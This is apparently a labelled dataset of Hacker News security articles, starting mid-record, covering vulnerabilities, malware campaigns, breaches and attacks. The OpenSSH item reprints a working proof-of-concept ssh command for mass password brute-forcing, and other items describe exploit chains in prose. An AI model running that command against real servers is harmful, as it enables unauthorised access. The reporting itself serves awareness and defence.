For successful exploitation, an attacker can create a specially crafted HTML file, that will force Firefox to load the files including inside the user profile directory using an Intent.

The JavaScript code in the HTML file will download any file under the user profile directory by creating an iframe, using the vulnerability dubbed as CVE-2014-1515 (explained below).
Downloaded files with the exploit code will be saved automatically to the SD card at location /mnt/sdcard/Download, that can be read by the attacker using any malicious Android app.

REPORTED VULNERABITIES
1.) Profile Directory Name Weak Randomization (CVE-2014-1516) - The Attacker who knows the seed of the Pseudo-Random Number Generator (PRNG) can easily predict its output and eventually the generated Firefox Profile name.
2.) Profile Directory Name Leaks to Android System Log (CVE-2014-1484) - Android operating system writes the randomly generated Firefox user's Profile Directory Name in the Android System Log (logcat) at various locations, that can be used to steal private information.
In Android version 4.0 and below, installed apps with READ_LOGS permission can easily read Android system logs to identify the name of the Firefox user profile folder.

3.) Automatic File Download to SD Card (CVE-2014-1515) - Firefox for Android will download any file automatically to the SD card, if not of any known extension. Malicious apps with READ_EXTERNAL_STORAGE permission can read files from the SD card to extract non-renderable data such as the cookies database.

4.) Crash Reporter File Manipulation (CVE-2014-1506) - In cases where the application crashes, Firefox sends the crash dumps located in /data/data/org.mozilla.firefox/files/mozilla/Crash Reports/pending on the device file system. Using the exploit, an attacker can manipulate the crash report file path to the Android Log file in order to steal it. Researchers have also explained second way to hack user data using this vulnerability.

RESEARCH PAPER:
Researchers have already reported these vulnerabilities to the Mozilla and three out of four are already been patched in the latest versions. Android users with Firefox installed in the device are advised to upgrade it to Mozilla Firefox 28.0 or later from the Google Play app store.

",Vulnerability
Researchers Uncover Hacking Operations Targeting Government Entities in South Korea,https://thehackernews.com/2021/06/researchers-uncover-hacking-operations.html,"A North Korean threat actor active since 2012 has been behind a new espionage campaign targeting high-profile government officials associated with its southern counterpart to install an Android and Windows backdoor for collecting sensitive information.
Cybersecurity firm Malwarebytes attributed the activity to a threat actor tracked as Kimsuky, with the targeted entities comprising of the Ministry of Foreign Affairs, Ambassador of the Embassy of Sri Lanka to the State, International Atomic Energy Agency (IAEA) Nuclear Security Officer, and the Deputy Consul General at Korean Consulate General in Hong Kong.
The attacks also involved collecting information about other organizations and universities in the country, including the Korea Internet and Security Agency (KISA), Seoul National University, and Daishin Securities. Malwarebytes, however, noted that there is no evidence of active targeting or compromise by the adversary.
The development is only the latest in a series of surveillance efforts aimed at South Korea. Believed to be operating on behalf of the North Korean regime, Kimsuky (aka Velvet Chollima, Black Banshee, and Thallium) has a track record of singling out South Korean entities while expanding their victimology to the U.S., Russia, and various nations in Europe.
Last November, the adversary was linked to a new modular spyware suite called ""KGH_SPY,"" which allows it to carry out reconnaissance of target networks, log keystrokes, and steal confidential information, as well as a stealthy malware under the name ""CSPY Downloader"" that's designed to thwart analysis and download additional payloads.
Kimsuky's attack infrastructure consists of various phishing websites that mimic well known websites such as Gmail, Microsoft Outlook, and Telegram with an aim to trick victims into entering their credentials. ""This is one of the main methods used by this actor to collect email addresses that later will be used to send spear-phishing emails,"" Malwarebytes researcher Hossein Jazi said.
In using social engineering as a core component of its operations, the goal is to distribute a malware dropper that takes the form of a ZIP archive file attached to the emails, which ultimately leads to the deployment of an encoded DLL payload called AppleSeed, a backdoor that's been put to use by Kimsuky as early as 2019.
""Besides using the AppleSeed backdoor to target Windows users, the actor also has used an Android backdoor to target Android users,"" Jazi noted. ""The Android backdoor can be considered as the mobile variant of the AppleSeed backdoor. It uses the same command patterns as the Windows one. Also, both Android and Windows backdoors have used the same infrastructure.""
AppleSeed has all the hallmarks of a typical backdoor, with myriad capabilities to record keystrokes, capture screenshots, collect documents with specific extensions (.txt, .ppt, .hwp, .pdf, and .doc), and gather data from removable media devices connected to the machine, all of which are then uploaded to a remote command-and-control server.
But perhaps the most interesting discovery of all is that the threat actor calls themselves Thallium in the malware source code, which is the moniker assigned by Microsoft based on its tradition of naming nation-state hacking groups after chemical elements.

",Malware
Facebook Sued Hong Kong Firm for Hacking Users and Ad Fraud Scheme,https://thehackernews.com/2019/12/facebook-account-hacking.html,"Following its efforts to take legal action against those misusing its social media platform, Facebook has now filed a new lawsuit against a Hong Kong-based advertising company and two Chinese individuals for allegedly abusing its ad platform to distribute malware and Ad fraud.

Facebook filed the lawsuit on Thursday in the Northern District of California against ILikeAd Media International Company Ltd. as well as a Chinese software developer and a marketing director working for the firm, Chen Xiao Cong and Huang Tao.

All three defendants have been alleged to have deceived people into installing malware on their systems, enabling them to compromise user's Facebook accounts and then using those hacked accounts to advertise counterfeit goods and diet pills—which is clearly in violation of Facebook's Terms and Advertising Policies.

""The suit seeks to hold accountable ILikeAd Media International Company Ltd. and Chen Xiao Cong and Huang Tao for creating the malware, tricking people into installing it, compromising people's Facebook accounts and then using people's accounts to run deceptive ads,"" Facebook said in a blog post today when announcing the lawsuit.

According to the social media giant, the defendants made use of improper practices such as ""celeb bait"" and ""cloaking"" to bait Facebook users into downloading and installing malware that eventually compromised their Facebook accounts.

While 'cloaking' involves deliberately disguising the true destination of a link in the ad by displaying one version of the ad's landing page to Facebook and another version to Facebook users, 'celeb bait' involves misusing celebrities photos in ads to entice users to click on them.

""Cloaking schemes are often sophisticated and well organized, making the individuals and organizations behind them difficult to identify and hold accountable. As a result, there have not been many legal actions of this kind,"" Facebook said.

Since April, Facebook has notified hundreds of thousands of users that their accounts may have been compromised and instructing them to change their passwords, according to the complaint.

Facebook also said the social media company had issued more than $4 million in refunds to victims whose Facebook accounts were used to run unauthorized ads and also helped to secure their accounts compromised in this malicious advertisement scheme.

This is the latest lawsuit that Facebook filed in a federal court against entities and individuals abusing its properties for malicious intent.

Just over a month ago, Facebook sued surveillance vendor NSO Group for allegedly hacking 1,400 mobile devices by misusing the company's secure messaging platform, WhatsApp.

In August this year, Facebook also filed a lawsuit against two shady Android app developers, Hong Kong-based 'LionMobi' and Singapore-based 'JediMobi,' for allegedly running a ""click injection fraud"" scheme that programmed bots to click on Facebook ads.

In March this year, Facebook also took two Ukrainian men into the courts for allegedly using quiz apps on the platform to distribute malware that steals Facebook users' data.

",Malware
Millions of PCs Found Running Outdated Versions of Popular Software,https://thehackernews.com/2019/01/software-vulnerabilities-hacking.html,"It is 2019, and millions of computers still either have at least one outdated application installed or run outdated operating systems, making themselves vulnerable to online threats and known security vulnerabilities/exploits.

Security vendor Avast has released its PC Trends Report 2019 revealing that millions of users are making themselves vulnerable to cyber attacks by keeping outdated versions of popular applications on their computers.

Probably the most overlooked vectors for any cyber attack is out-of-date programs, which most of the times, is the result of the users' laziness and company's administrators ignoring the security updates in a business environment as they can't afford the downtime.

According to the report [PDF], Adobe Shockwave tops the list of software that most user left outdated on their PCs, followed by VLC Media Player, Skype, Java Runtime Environment , 7-Zip File Manager, and Foxit Reader.
The outdated software applications often provide an open door for hackers and cybercriminals to take advantage of security bugs and loopholes in the programs, making them a potential target of cyber attacks.

However, it is not only applications but also operating systems that are out of date. Almost 15% of all Windows 7 computers and 9% of all Windows 10 computers are running an outdated version of the operating systems.

To understand the risk, there could be no better example than the Global WannaCry menace that largely infected networks that used out-of-date operating systems, like Windows XP, for which Microsoft no longer offers technical support.

WannaCry was taking advantage of a dangerous security hole in Microsoft Windows that had already been fixed by the company months before the ransomware threat strikes the whole world.
""Most of us replace our smartphone regularly, but the same cannot be said for our PCs. With the average age of a PC now reaching six years old, we need to be doing more to ensure our devices are not putting us at unnecessary risk,"" said Avast President Ondrej Vlcek.

""With the right amount of care, such as cleaning our hardware's insides using cleaners, optimization and security products, PCs will be safe and reliable for even longer.""

The bottom line: Keeping your operating systems and software applications patched and up-to-date can protect you from cyber attacks and prevent hackers from taking advantage of your vulnerable machine to steal your personal and sensitive data.
",Vulnerability
DDoS Attack Takes Down Central Heating System Amidst Winter In Finland,https://thehackernews.com/2016/11/heating-system-hacked.html,"Just Imaging — What if, you enter into your home from a chilling weather outside, and the heating system fails to work because of a cyber attack, leaving you in the sense of panic?

The same happened late last month when an attack knocks heating system offline in Finland.

Last week, a Distributed Denial of Service (DDoS) attack led to the disruption of the heating systems for at least two housing blocks in the city of Lappeenranta, literally leaving their residents in subzero weather.

Both the apartments are managed by a company called Valtia, a facilities services company headquartered in Lappeenranta.

Valtia CEO Simo Rounela confirmed to English language news outlet Metropolitan.fi that the central heating system and hot water system in both buildings had become a target of DDoS attacks.

In an attempt to fight back the cyber attacks, which lived for a short time, the automated systems rebooted — and unfortunately got stuck in an endless loop, which restarted repeatedly and eventually shut down heating systems for more than a week.

Also Read: Someone is Using Mirai Botnet to Shut Down Internet for an Entire Country.

The incident is extremely worrying because in a location as cold as Finland – where temperatures at this time month are below freezing – taking heating systems offline for over a week could result in death, particularly with old-aged people.

Fortunately for the buildings' residents, it was not that cold in Lappeenranta.

The attack started in late October and ended on 3rd November afternoon. Here's what a brief post on the company's website reads:
""Over 90 percent of the [remote systems] in the area of terraced houses or larger buildings will not send an alarm at the moment, even if the heat is switched off or radiator pressure disappears,"" as the systems are designed to shut down for safety. ""The systems must be actively monitored and adjusted.""
According to another local media outlet, Helsingin Sanomat, Valtia quickly relocated those affected systems and switched the heating systems over to manual, while the company addressed the DDoS attacks and brought the control systems ""back into the grid, this time from behind a firewall.""

The report attributes the cyber attack to the Mirai botnet – the same infamous IoT botnet that caused vast internet outage over two weeks ago by launching massive DDoS attacks against DNS provider Dyn.

Dangerous Threats of Massive IoT Botnets

Mirai botnet malware scans for insecure IoT devices, like security cameras, DVRs, and routers, that uses their default passwords and then enslaves them into a botnet network, which is then used to launch DDoS attacks.

The latest incident isn't a disastrous situation, but it is enough to make it crystal clear that these Internet-connected systems can cause a significant consequence in our physical world as well.

Just imagine if these control systems can not be manually adjusted by the people who truly rely on them?

In this case, any cyber attack that knocks these systems down is potentially dangerous and even deadly in the event of extreme temperatures.

This incident once again highlights the dangerous threats of massive DDoS attacks, which are now emerging from Millions of insecure Internet of Things (IoT) devices, whereby attackers can simply launch a DDoS to take down any critical service – no need to infect it with malware or viruses.

So the best way to protect your smart devices from being a part of DDoS botnet is to be more vigilant about the security of your internet-connected devices.

",Cyber_Attack
Banking System Vulnerability - 3 million bank accounts hacked in Iran,https://thehackernews.com/2012/04/banking-system-vulnerability-3-million.html,"Banking System Vulnerability - 3 million bank accounts hacked in Iran


Iran's Central Bank has announced that the electronic information of 3 million customers of 10 Iranian banks have been compromised. These banks now require their customers to change their ATM pin numbers before they can access their account. This has caused a rush to the ATM machines by the worried customers.

The hacker was identified as Khosro Zare', a former bank-system specialist in Iran who recently left the country.Zare' claimed in a blog that he hacked the PIN codes to highlight the vulnerability of Iran's banking system.

According to the report, the hacker had provided the managing directors of the targeted banks with information about the bank accounts of 1000 customers in the previous Iranian calendar year (ended on March 19) to warn them about the susceptibility of their computer systems and networks to cyber threats.

But Central bank officials had earlier downplayed the reports, saying that ""the threat to Iran's banking system is not serious.""

Finally to proof the Vulnerability he dumped the account details of around 3 million individuals, including card numbers and PINs, on his blog ircard.blogspot.ca.

At least three Iranian banks (Saderat, Eghtesad Novin, and Saman) have already sent text messages to their clients, warning them to change their debit card PINs. The warning was repeated on state TV channels.

",Vulnerability
Popular Online Tutoring Marketplace 'Wyzant' Suffers Data Breach,https://thehackernews.com/2019/05/wyzant-data-breach.html,"Wyzant—an online marketplace that makes it easy for parents and students to connect with private tutors, in-person and online, in over 250 different subjects—has suffered a data breach exposing ""certain personal identification information"" for its customers.

The Hacker News received a copy of an email notification Wyzant recently sent to its affected customers, which reveals an unknown attacker was able to gain access to one of its databases on April 27, which the company identified a week after the security incident.

The stolen personal identification information for affected customers includes their first name, last name, email address, zip code, and, for certain customers, their Facebook profile image as well who log-in to the platform using Facebook.

Wyzant also explicitly made it clear that the stolen data did not include any password, payment information, or record of its customers' activity on the Wyzant platform, and that no other than the above-mentioned data was known to have been accessed.

Though it is still unclear how many customers were actually hit by the security breach, or if both tutors and students are affected, or what security hole the unknown attackers exploited to get into the company's network, the company did confirm that it has now patched the underlying issue.

With more than 2 million registered users and over 76,000 active tutors in its database, Wyzant is a decade-old popular tutoring service that bring students and instructors together, online and in-person.

In response to the security incident, Wyzant says it is performing an extensive audit of its entire network and application security infrastructure and will notify its customers of any significant development.

""Wyzant has implemented additional security measures designed to prevent a recurrence of such an attack and to protect the privacy of our valued customers,"" the company says.

""This includes reviewing our security processes and protocols. We are also working closely with law enforcement to ensure the incident is properly addressed.""

For affected customers, Wyzant also warned them to beware of potential phishing attacks wherein attackers could use their personal information to trick them into providing additional personal information, such as credit card information or passwords.

The Hacker News has reached out to the company to know more about the data breach incident and will update this article as soon as we'll hear back from it.

",Cyber_Attack
Yahoo Flaw Allowed Hackers to Read Anyone's Emails,https://thehackernews.com/2016/12/hack-yahoo-email.html,"Yahoo has patched a critical security vulnerability in its Mail service that could have allowed an attacker to spy on any Yahoo user's inbox.

Jouko Pynnönen, a Finnish Security researcher from security firm Klikki Oy, reported a DOM based persistent XSS (Cross-Site Scripting) in Yahoo mail, which if exploited, allows an attacker to send emails embedded with malicious code.

In his blog post published today, the researcher demonstrated how a malicious attacker could have sent the victim's inbox to an external site, and created a virus that attached itself to all outgoing emails by secretly adding a malicious script to message signatures.

Since the malicious code is in the message's body, the code will get executed as soon as the victim opens the boobytrapped email and its hidden payload script will covertly submit victim's inbox content to an external website controlled by the attacker.
This issue is because Yahoo Mail failed to properly filter potentially malicious code in HTML emails.

""It would be possible to embed a number of HTML attributes that are passed through Yahoo's HTML filter and treated specially,"" Pynnönen says in his blog post.

Pynnönen says he found the vulnerability by force-feeding all known HTML tags and attributes in order to the filter that Yahoo uses to weed out malicious HTML, but certain malicious HTML code managed to pass through.
""As a proof of concept I supplied Yahoo Security with an email that, when viewed, would use AJAX to read the user's inbox contents and send it to the attacker's server,"" Pynnönen says.
Pynnönen privately disclosed the vulnerability to Yahoo through its HackerOne bug bounty program and was awarded a $10,000 bounty.

Pynnönen reported a similar vulnerability in the web version of the Yahoo! Mail service earlier this year for which he earned $10,000. He also reported a stored XSS vulnerability in Flickr to Yahoo in December 2015 for which he earned $500.

",Vulnerability
"FBI, CISA, NSA Officially Blame Russia for SolarWinds Cyber Attack",https://thehackernews.com/2021/01/fbi-cisa-nsa-officially-blames-russia.html,"The U.S. government on Tuesday formally pointed fingers at the Russian government for orchestrating the massive SolarWinds supply chain attack that came to light early last month.
""This work indicates that an Advanced Persistent Threat (APT) actor, likely Russian in origin, is responsible for most or all of the recently discovered, ongoing cyber compromises of both government and non-governmental networks,"" the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Office of the Director of National Intelligence (ODNI), and the National Security Agency (NSA) said in a joint statement.
Russia, however, denied any involvement in the operation on December 13, stating it ""does not conduct offensive operations in the cyber domain.""
The FBI, CISA, ODNI, and NSA are members of the Cyber Unified Coordination Group (UCG), a newly-formed task force put in place by the White House National Security Council to investigate and lead the response efforts to remediate the SolarWinds breach.
A Much Smaller Number Compromised
Calling the campaign an ""intelligence gathering effort,"" the intelligence bureaus said they are currently working to understand the full scope of the hack while noting that fewer than 10 U.S. government agencies were impacted by the compromise.
The names of the affected agencies were not disclosed, although previous reports have singled out the U.S. Treasury, Commerce, State, and the Departments of Energy and Homeland Security among those that have detected tainted SolarWinds' network management software installations, not to mention a number of private entities across the world.
An estimated 18,000 SolarWinds customers are said to have downloaded the backdoored software update, but the UCG said only a smaller number had been subjected to ""follow-on"" intrusive activity on their internal networks.
Microsoft's analysis of the Solorigate modus operandi last month found that the second-stage malware, dubbed Teardrop, has been selectively deployed against targets based on intel amassed during an initial reconnaissance of the victim environment for high-value accounts and assets.
The joint statement also confirms previous speculations that linked the espionage operation to APT29 (or Cozy Bear), a group of state-sponsored hackers associated with the Russian Foreign Intelligence Service (SVR).
The hacking campaign was notable for its scale and stealth, with the attackers leveraging the trust associated with SolarWinds Orion software to spy on government agencies and other companies for at least nine months, including viewing source code and stealing security tools, by the time it was discovered.
SolarWinds Faces Class Action Lawsuit
Meanwhile, SolarWinds is facing further fallout after a shareholder of the IT infrastructure management software company filed a class-action lawsuit in the U.S. District Court for the Western District of Texas on Monday against its president, Kevin Thompson, and chief financial officer, J. Barton Kalsu, claiming the executives violated federal securities laws under the Securities Exchange Act of 1934.
The complaint states that SolarWinds failed to disclose that ""since mid-2020, SolarWinds Orion monitoring products had a vulnerability that allowed hackers to compromise the server upon which the products ran,"" and that ""SolarWinds' update server had an easily accessible password of 'solarwinds123',"" as a result of which the company ""would suffer significant reputational harm.""

",Cyber_Attack
Flame Malware Spread Via Rogue Microsoft Security Certificates,https://thehackernews.com/2012/06/flame-malware-spread-via-rogue.html,"Flame Malware Spread Via Rogue Microsoft Security Certificates

Microsoft released an emergency Windows update on Sunday after revealing that one of its trusted digital signatures was being abused to certify the validity of the Flame malware that has infected computers in Iran and other Middle Eastern Countries.

The patch revoked three intermediate Microsoft certificates used in active attacks to ""spoof content, perform phishing attacks, or perform man-in-the-middle attacks"".Microsoft also killed off certificates that were usable for code signing via Microsoft's Terminal Services licensing certification authority (CA) that ultimately ""chained up"" to the Microsoft Root Authority.The authority issued certificates for users to authorise Remote Desktop services in their enterprises.

The Microsoft blog post explains that a vulnerability in an old cryptography algorithm is exploited by some elements of Flame to make them appear as if they originated from Microsoft. Most systems around the world accept officially-signed Microsoft code as safe by default, so the malware would enter unnoticed.

Windows users are urged to install the new KB2718704 patch. If you enabled Automatic Updates, the patch should automatically install. If not, you can open Windows Update on your PC and manually install it.

Since the virus is highly targeted and can be caught by most antivirus programs, the ""vast majority of customers are not at risk,"" according to Microsoft.

",Malware
Google announces $2.7 million Reward for hacking Chrome OS at Pwnium Contest,https://thehackernews.com/2014/01/google-announces-27-million-reward-for.html,"Pwnium is the annual Hacking competition where Google invites coders from around the world to find security holes in Google Chrome.

Google has announced its 4th Pwnium Hacking Contest hosted at the Canadian Security conference in March, offering more than $2.7 million in potential rewards for hacking Chrome OS-running ARM and Intel Chromebook.

This year the security researchers have a choice in between an ARM-based Chromebook, the HP Chromebook 11 (WiFi) and the Acer C720 Chromebook (2GB WiFi) based on Intel's Haswell microarchitecture.

The attack must be demonstrated against one of these devices running ""then-current"" stable version of Chrome OS.

""Security is a core tenet of Chromium, which is why we hold regular competitions to learn from security researchers. Contests like Pwnium help us make Chromium even more secure,"" Jorge Lucángeli Obes, Google Security Engineer said.

Amongst the payouts are $110,000 for the browser or system-level compromise in guest mode or as a logged-in user, delivered via a web page.

Google will also pay USD 150,000 for providing an exploit, able to persistently compromise an HP or Acer Chromebook, i.e. hacking the device to retain control even after a reboot.

Google further revealed that it will be giving out bonuses to all those who come up with an impressive exploit to defeat kASLR, exploiting memory corruption in the 64-bit browser process or exploiting the kernel directly from a renderer process. The full exploit must be given to Google with explanations for all individual bugs used.
""To register, email pwnium4@chromium.org. Registration will close at 5:00 p.m. PST Monday, March 10th, 2014. Only exploits demonstrated on time in this specifically-arranged window will be eligible for a reward.""
The earlier editions of Pwnium competitions focussed on Intel-based Chrome OS devices, and Google had paid out $50,000 to a prolific hacker who goes by ""Pinkie Pie,"" for an exploit.

Do you think you are up to the task? Gear up your keyboards & Give it a try!

",Vulnerability
Bitcoin Core Software Patches a Critical DDoS Attack Vulnerability,https://thehackernews.com/2018/09/bitcoin-core-software.html,"The Bitcoin Core development team has released an important update to patch a major DDoS vulnerability in its underlying software that could have been fatal to the Bitcoin Network, which is usually known as the most hack-proof and secure blockchain.

The DDoS vulnerability, identified as CVE-2018-17144, has been found in the Bitcoin Core wallet software, which could potentially be exploited by anyone capable of mining BTC to crash Bitcoin Core nodes running software versions 0.14.0 to 0.16.2.

In other words, Bitcoin miners could have brought down the entire blockchain either by overflooding the block with duplicate transactions, resulting in blockage of transaction confirmation from other people or by flooding the nodes of the Bitcoin P2P network and over-utilizing the bandwidth.

The vulnerability had been around since March last year, but the team says nobody noticed the bug or nobody was willing to incur the expense of exploiting it.

According to the bitcoin core developers, all recent versions of the BTC system are possibly vulnerable to the Distributed Denial of Service (DDoS) attacks, though there's a catch—attacking Bitcoin is not cheap.

The DDoS attack on the BTC network would cost miners 12.5 bitcoins, which is equal to almost $80,000 (£60,000), in order to perform successfully.

The Bitcoin Core team has patched the vulnerability and are urging miners to update with the latest Bitcoin Core 0.16.3 version as soon as possible.

""A denial-of-service vulnerability (CVE-2018-17144) exploitable by miners has been discovered in Bitcoin Core versions 0.14.0 up to 0.16.2. It is recommended to upgrade any of the vulnerable versions to 0.16.3 as soon as possible,"" the vulnerability note reads.

Although the team says that the miners running Bitcoin Core only occasionally are not in danger of such attacks, it would obviously be recommended to upgrade to the latest software version as soon as possible just to be on the safe side.

In addition to the DDoS vulnerability, the latest version also includes patches for a non-insignificant number of minor bugs, related to consensus, RPC and other APIs, invalid error flags, and documentation.

After upgrading to the latest version—the process that will take five minutes to half an hour depending upon the processing power of your computer—users should note that the new wallet will have to redownload the entire blockchain.

",Vulnerability
Potential backdoors discovered in US-based components used by French Satellites,https://thehackernews.com/2014/01/potential-backdoors-discovered-in-us.html,"United Arab Emirates (UAE) may terminate a $930 Million USD contract with France based companies for the supply of two two military Imaging satellites due to the discovery of several US produced components in them.

Now the deal is in danger because the UAE claims it has discovered backdoors in the components which are manufactured in the United States, reported by the Defense News.
The contract, sealed in July 2013, includes a ground station, the Pleiades-type satellites (aka Falcon Eye) are due for delivery 2018.

The revelation was provided by high-level UAE sources, the companies involved in the business are the prime contractor Airbus Defense and Space, and payload maker Thales Alenia Space.

""If this issue is not resolved, the UAE is willing to scrap the whole deal,"" he added. UAE authorities suspect the presence of vulnerabilities would ""provide a back door to the highly secure data transmitted to the ground station"".

An unnamed UAE source has confirmed that the presence of backdoor has been reported to Sheikh Mohammed Bin Zayed, deputy supreme commander of the UAE's armed forces.

The contract signed with French companies includes two high-resolution observation satellites and the operational support from France with training for 20 engineers.

UAE representatives are evaluating alternative partners for the supply, Russian industry may be more likely supplier.

""The UAE has drawn on Russian technology, with the GLONASS space-based navigation system fitted as a redundancy feature on a Western European weapon system,"" a French defense expert said.

While some security experts believe that French industry had drawn on the US technology due complexity of the payload, other specialists found intriguing that France had drawn on US technology for the satellites under the Falcon Eye program.

""France operates the Pleiades spy satellite in what is viewed as a critical piece of the nation's sovereignty. Given that core competence, it seemed strange that France would use US technology, although there is an agreement between Paris and Washington over transfer of capabilities, "" said a Defense analysts.

The Defense News also speculated on the fact that the claims may be an attempt to condition another contract for Dassault Aviation Rafale fighters, both French companies were available for comment.

",Data_Breaches
Warning: 10 Million UK Users targeted with Cryptolocker Ransomware spam email campaign,https://thehackernews.com/2013/11/Cryptolocker-Ransomware-spam-emails-campaign-ten-million-users.html,"The UK's National Crime Agency has given out an urgent national alert that a mass spamming event targeting 10 million UK based email users with a piece of malware called CryptoLocker that encrypts your files and then demands a ransom money to restore access.

The agency has said that the people who are majorly receiving targeted spam emails that appear to be from banks and other financial institutions.
Each email comes with attachments that look like files such as a voicemail, fax, an invoice or details of a suspicious transaction, but is in fact Cryptolocker Ransomware malware that encrypts the user's computer. The public should be aware not to click on any such attachment.

On Infected system, The Cryptolocker Malware screen will then display a countdown timer that demands the payment of 2 Bitcoins in ransom, worth around £536, for the decryption key.
The NCCU is trying to trace that who is sending the emails. ""We are working in cooperation with industry and international partners to identify and bring to justice those responsible and reduce the risk to the public."" Lee Miles, Deputy Head of the NCCU says.

Bitdefender Labs, an anti-virus company found that in the week beginning Oct. 27, more than 12,000 computers were infected and before the criminal group seemed to be exclusively targeting computers in the U.S.

The UK crime agency said it advised users not to pay the ransom and warned that even if it were paid, there was no guarantee the encryption key would be turned over. Anyone whose computer is infected should report it to www.actionfraud.police.uk.

NCA has put out a few recommendations to avoid infection including, files should be backed up routinely and preserved off the network.

Read more detailed articles on Cryptolocker Ransomware:
Cryptolocker Ransomware makes different Bitcoin wallet for each victim
CryptoLocker Ransomware demands $300 or Two Bitcoins to decrypt your files
CryptoLocker developer launches Decryption Service website; 10 Bitcoins for Decryption Keys

",Malware
COVID-19: Hackers Begin Exploiting Zoom's Overnight Success to Spread Malware,https://thehackernews.com/2020/03/zoom-video-coronavirus.html,"As people increasingly work from home and online communication platforms such as Zoom explode in popularity in the wake of coronavirus outbreak, cybercriminals are taking advantage of the spike in usage by registering new fake ""Zoom"" domains and malicious ""Zoom"" executable files in an attempt to trick people into downloading malware on their devices.

According to a report published by Check Point and shared with The Hacker News, over 1,700 new ""Zoom"" domains have been registered since the onset of the pandemic, with 25 percent of the domains registered in the past seven days alone.

""We see a sharp rise in the number of 'Zoom' domains being registered, especially in the last week,"" said Omer Dembinsky, Manager of Cyber Research at Check Point.

""The recent, staggering increase means that hackers have taken notice of the work-from-home paradigm shift that COVID-19 has forced, and they see it as an opportunity to deceive, lure, and exploit. Each time you get a Zoom link or document messaged or forwarded to you, I'd take an extra look to make sure it's not a trap.""

With over 74,000 customers and 13 million monthly active users, Zoom is one of the most popular cloud-based enterprise communication platforms that offers chat, video and audio conferencing, and options to host webinars and virtual meetings online.

The popularity of Zoom has shot up significantly in recent weeks as millions of students, business people, and even government employees across the world are forced to work and socialize from home during the coronavirus pandemic.


The report comes following a significant increase in the number of malicious coronavirus-related domains, with bad actors finding new ways to profit off the global health concern to stage a variety of malware attacks, phishing campaigns, and create scam sites and malicious tracker apps.

What's more, the researchers said they detected malicious files with the name ""zoom-us-zoom_##########.exe,"" which when executed, installed potentially unwanted programs (PUPs) such as InstallCore, a dodgy bundleware application that's known to install other kinds of malware.

But Zoom is not the only app to be targeted by cybercriminals. With schools turning to online learning platforms to keep students occupied, Check Point researchers said they also discovered phishing sites masquerading as the legitimate Google Classroom (e.g., googloclassroom\.com and googieclassroom\.com) website to trick unwitting users into downloading malware.

Zoom Fixes Privacy Issue in Its iOS App

Zoom, for its part, has had its share of privacy and security issues too. Last year, the video conferencing app fixed a vulnerability that could let websites hijack users' webcam and ""forcibly"" join them to a Zoom call without their permission.

Then earlier this January, the company squashed another bug that could have allowed attackers to guess a meeting ID and join an unprotected meeting, potentially exposing private audio, video, and documents shared throughout the session. Following the disclosure, Zoom introduced default passwords for each meeting that participants need to enter when joining by manually entering the meeting ID.

And finally, just over the weekend, Zoom updated its iOS app after it was caught sending device information and a unique advertiser identifier to Facebook using the social network's software development kit (SDKs) and concerns were raised over its failure to disclose the data sharing in its privacy policy.

Highlighting some of the privacy risks associated with using Zoom's products, The Electronic Frontier Foundation (EFF) said hosts of Zoom calls can see if participants have the Zoom video window active or not to track if they are paying attention. Administrators can also see the IP address, location data, and device information of each participant.

To safeguard yourself from such threats, it's essential that the apps are kept up-to-date, and be on the lookout for emails from unknown senders and lookalike domains that contain spelling errors.

Besides this, also don't open unknown attachments or click on promotional links in the emails, the cure for Corona will not arrive via email, and also ensure you're ordering goods from only authentic sources.

",Malware
Bug in OpenSSH Opens Linux Machines to Password Cracking Attack,https://thehackernews.com/2015/07/openssh-password-cracking.html,"A simple but highly critical vulnerability recently disclosed in the most widely used OpenSSH software allows attackers to try thousands of password login attempts per connection in a short period.

OpenSSH is the most popular software widely used for secure remote access to Linux-based systems. Generally, the software allows 3 to 6 Password login attempts before closing a connection, but a new vulnerability lets attackers perform thousands of authentication requests remotely.

OpenSSH servers with keyboard-interactive authentication enabled, including FreeBSD Linux, can be exploited to carry out the brute force attack on OpenSSH protocol, a security researcher with online alias KingCope explained in a blog post.

Exploit for the Vulnerability RELEASED

Hackers could widely exploit the vulnerability because the keyboard-interactive authentication is by default enabled on most of the systems.

Researcher has also released a proof-of-concept exploit code, which is just a command, as follows:
ssh -lusername -oKbdInteractiveDevices=`perl -e 'print ""pam,"" x 10000'` targethost
This simple command effectively allows up to 10,000 password attempts within two minutes of login grace time.

""The crucial part is that if the attacker requests 10,000 keyboard-interactive devices OpenSSH will gracefully execute the request and will be inside a loop to accept passwords until the specified devices are exceeded,"" KingCope said.

However, depending on the connection and the victim's Linux machine, two minutes of 'grace period' and thousands of login attempts are enough to achieve successful login by using dictionary attack with a word-list of most commonly used passwords.

The vulnerability is present in the latest version of OpenSSH, which is Version 6.9.

How to Mitigate the Attack?

Administrators are advised to take following precautions until OpenSSH releases an official patch to address the issue:
Use a cryptographic key pair that is at least 2,048 Bits in length
Always Use a Strong Password to protect your Private Key
Reducing the grace period to 20 or 30 seconds
Use Fail2Ban or Pam-Shield to limit failed login attempts

",Vulnerability
Samba Service Hit By Remote Code Execution Vulnerability,https://thehackernews.com/2015/02/samba-service-hit-by-remote-code.html,"A critical vulnerability has been fixed in Samba — Open Source standard Windows interoperability suite of programs for Linux and Unix, that could have allowed hackers to remotely execute an arbitrary code in the Samba daemon (smbd).

Samba is an open source implementation of the SMB/CIFS network file sharing protocol that works on the majority of operating systems available today, which allows a non-Windows server to communicate with the same networking protocol as the Windows products. Samba is supported by many operating systems including Windows 95/98/NT, OS/2, and Linux.

smbd is the server daemon of Samba which provides file sharing and printing services to clients using the SMB/CIFS protocol. Samba is also sometimes installed as a component of *BSD and OS X systems.

The vulnerability, designated as CVE-2015-0240, actually resides in this smbd file server daemon. The bug can be exploited by hackers to potentially execute code remotely with root privileges, the Samba development team warned.

The team discovered that the vulnerability allowed a malicious client to send some packets that could free memory in a consecutive anonymous netlogon packet, leading to unexpected execution of random code. In case, root privileges are required which is automatic and no login or authentication is necessary.

The security vulnerability affects all versions of the Samba software, from the oldest supported stable release, Samba versions 3.5.0, to the current development version, 4.2.0 Release Candidate (RC) 4, the Samba Project said in a security alert.

Red Hat product team published a detailed analysis of this vulnerability on its blog post. According to the researchers, Red Hat Enterprise Linux versions 5 through 7 are affected, as are Red Hat Storage Server versions 2.1 and 3. Except RHEL7, the vulnerability is marked critical for all of the affected products. Other Linux distributions have also posted security alerts about the vulnerability.

A large number of users might potentially be at risk because Samba ships with a wide range of Linux distributions. However, users affected by the critical vulnerability also depends on which operating system they run on their machines.

